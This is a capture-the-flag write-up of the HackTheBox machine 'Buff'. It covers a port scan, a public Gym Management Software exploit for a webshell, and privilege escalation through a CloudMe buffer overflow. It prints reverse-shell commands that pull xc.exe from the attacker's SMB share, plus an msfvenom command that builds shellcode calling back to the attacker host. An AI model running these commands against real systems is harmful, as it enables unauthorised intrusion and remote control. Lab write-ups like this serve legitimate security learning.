Buff @ HackTheBoxxct
Buff is a 20-point Windows Machine on HackTheBox, created by egotisticalSW. It involves 2 simple public exploits and forwarding a port.
As usual we start with a portscan:
nmap -Pn -sV -sC buff.htb ... 8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6) | http-open-proxy: Potentially OPEN proxy. |_Methods supported:CONNECTION |_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6 |_http-title: mrb3n's Bro Hut
When we visit the site in a browser we can see a fitness site. On contact it shows:
mrb3n's Bro Hut Made using Gym Management Software 1.0
A quick google search shows this exploit, which gives us a shell as buff\shaun:
python exploit.py http://buff.htb:8080/ /\ /vvvvvvvvvvvv \--------------------------------------, `^^^^^^^^^^^^ /============BOKU=====================" \/ [+] Successfully connected to webshell. C:\xampp\htdocs\gym\upload>
To leave this really inconvinient shell, we use smb to pull in and start a xc shell:
nc -lvp 1337 \\10.10.14.6\public\xc.exe 10.10.14.6 1337
Now we can read the user flag:
./xc -l -p 1337 __ _____ \ \/ / __| > < (__ /_/\_\___| by @xct_de build: GLvLrMgcikmgHFyx 2020/11/21 11:13:53 Listening on :1337 2020/11/21 11:13:53 Waiting for connections... 2020/11/21 11:13:53 Connection from 10.10.10.198:49826 2020/11/21 11:13:53 Stream established [xc]:type \users\shaun\desktop\* 464f8c6c1550f2d071d3e1702801fba5
In Downloads we can find an usual binary:
[xc]:!shell cd \users\shaun C:\Users\shaun>dir Downloads ... 16/06/2020 15:26 17,830,824 CloudMe_1112.exe
A quick google search shows various public buffer overflow exploits for this exact version. Running
netstat -ano shows that the service is listening on localhost on the port the exploits mention:
netstat -ano | findstr 8888 TCP 127.0.0.1:8888 0.0.0.0:0 LISTENING 8540
A quick side note: This was super unstable on release night and several people, including me, did not have this port even open.
I chose this exploit. We have to replace the shellcode though – an easy way to do it is via msfvenom:
msfvenom -f python -p windows/exec CMD='cmd.exe /c "\\10.10.14.6\public\xc.exe 10.10.14.6 1338"'
After replacing the shellcode, we use xc to forward the port 8888 back to us:
!lfwd 8888 localhost 8888
We then run the exploit and get a shell back as administrator:
./xc -l -p 1338 ... [xc]:whoami buff\administrator type \users\administrator\desktop\* ... 6204e76cfbd6001662e4ec757c09f59b
This box had many stability issues and running public exploits does not teach much, so I did not really like it.